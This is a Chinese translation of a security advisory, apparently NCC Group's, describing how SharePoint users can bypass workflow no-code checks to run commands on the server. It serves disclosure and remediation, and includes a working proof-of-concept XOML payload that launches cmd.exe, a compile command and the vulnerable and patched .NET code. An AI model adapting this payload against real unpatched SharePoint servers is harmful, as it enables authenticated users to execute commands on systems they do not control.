技术报告:绕过工作流保护机制 - SharePoint远程代码执行


本文翻译自:https://www.nccgroup.trust/uk/our-research/technical-advisory-bypassing-workflows-protection-mechanisms-remote-code-execution-on-sharepoint/


概要

在.NET Framework中,可以使用System.Workflow命名空间内的库编译XOML文件来创建工作流(Workflow)。工作流编译器可以使用/nocode/checktypes参数来终止执行不受信任的代码。/nocode用来禁止使用code-beside模型在服务器端检查工作流,以确保它们不包含任何代码。第二个参数仅用于允许配置文件中的白名单类型。
no-code保护机制可以被绕过,因为它没有检查工作流中的是否禁用activities。此外,代码是在应用程序检查有效类型之前执行的。

位置

默认情况下,低权限的SharePoint用户可以访问自己的个人网站,并可以为自己创建工作流。出于保护的目的,SharePoint还在服务器端编译工作流时使用了/nocode/checktypes参数。然而,由于bypass规则是确定的,在SharePoint服务器通过创建或更改工作流来执行命令是存在可能的。

影响

默认情况下,低权限的SharePoint用户可以访问自己的个人网站,并可以为自己创建工作流。因此,经过身份验证的SharePoint用户可以在服务器上执行命令。

详细信息

触发该问题的工作流XOML文件为:

<SequentialWorkflowActivity x:Class="MyWorkflow" x:Name="foobar"
                            xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
                            xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
 <SequentialWorkflowActivity Enabled="False">
   <x:Code>
     Object test = System.Diagnostics.Process.Start("cmd.exe", "/c calc");
     private void SayHello(object sender,object test)
     {
     //ToDo!
     }
   </x:Code>
 </SequentialWorkflowActivity>
</SequentialWorkflowActivity>

下面的屏幕截图显示了设计模式中的上述工作流程:

Microsoft(R) Windows Workflow Compiler工具可用作编译XOML文件的概念验证。这个工具应该和 /nocode /checktypes一起使用,以便在.NET Framework过期的时候显示绕过问题:

wfc test.xoml /nocode:+ /checktypes:+

在SharePoint中,XOML文件的功能会因使用诸如/_vti_bin/webpartpages.asmx中的ValidateWorkflowMarkupAndCreateSupportObjects方法而受到影响。

一件有趣的事

当我在SharePoint Online上测试这个问题,用来准备最终的错误报告时,微软的Matt Swann用Burp Suite Collaborator联系到了我,这让人有点兴奋不已:

应该说明的是,根据Matt的说法,这不是他们事件响应的标准操作程序,是因为他们已经确定这个activity是NCC集团的!

.NET Framework的根本原因及解决方案

用来负责检查XOML文件代码的代码如下:

internal static bool HasCodeWithin(Activity rootActivity)
{
    bool hasCodeWithin = false;
    Walker documentWalker = new Walker();
    documentWalker.FoundActivity += delegate(Walker walker, WalkerEventArgs e)
    {
        Activity currentActivity = e.CurrentActivity;
        if (!currentActivity.Enabled)
        {
            e.Action = WalkerAction.Skip;
            return;
        }
        CodeTypeMemberCollection codeCollection = currentActivity.GetValue(WorkflowMarkupSerializer.XCodeProperty) as CodeTypeMemberCollection;
        if (codeCollection != null && codeCollection.Count != 0)
        {
            hasCodeWithin = true;
            e.Action = WalkerAction.Abort;
            return;
        }
    };
    documentWalker.Walk(rootActivity as Activity);
    return hasCodeWithin; 
}

这也可以在以下网址查看:
https://referencesource.microsoft.com/#System.Workflow.ComponentModel/AuthoringOM/Compiler/XomlCompilerHelpers.cs,c44d72fa4c58a95e

为了在使用/nocode时没有Code节点,它似乎并没有检查工作流中是否禁用activities。

在打上了Microsort2018年七月的补丁后,上面的代码将更改为以下代码(使用反编译器获取代码):

internal static bool HasCodeWithin(Activity rootActivity)
             {
                 bool flag = false;
                 Walker walker1 = new Walker();
                 walker1.FoundActivity += new WalkerEventHandler((Walker walker, WalkerEventArgs e) => {
                     Activity currentActivity = e.CurrentActivity;
                     if (!currentActivity.Enabled && AppSettings.AllowXCode)
                     {
                         e.Action = WalkerAction.Skip;
                         return;
                     }
                     CodeTypeMemberCollection value = currentActivity.GetValue(WorkflowMarkupSerializer.XCodeProperty) as CodeTypeMemberCollection;
                     if (value == null || value.Count == 0)
                     {
                         return;
                     }
                     flag = true;
                     e.Action = WalkerAction.Abort;
                 });
                 walker1.Walk(rootActivity);
                 return flag;
             }

可以看到,它添加了一个附加参数,以确保所有的activities都被正确地检查,而不管它是否启用。

建议

使用2018年7月发布的.NET Framework更新版。
需要说明的是,更新SharePoint是不能解决这个问题的。

关于NCC集团

NCC集团是全球范围内的网络安全和风险缓解方面的资深专家,和企业合作,以保护企业的品牌,价值和声誉,防御层出不穷的威胁情况为己任。相信凭借我们的知识,经验以及合作的企业遍布全球的规模,我们是最有能力来帮助企业识别,评估,减轻和应对他们所面临的风险。我们希望互联网更加地安全,并彻底改变大家对网络安全的看法。

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖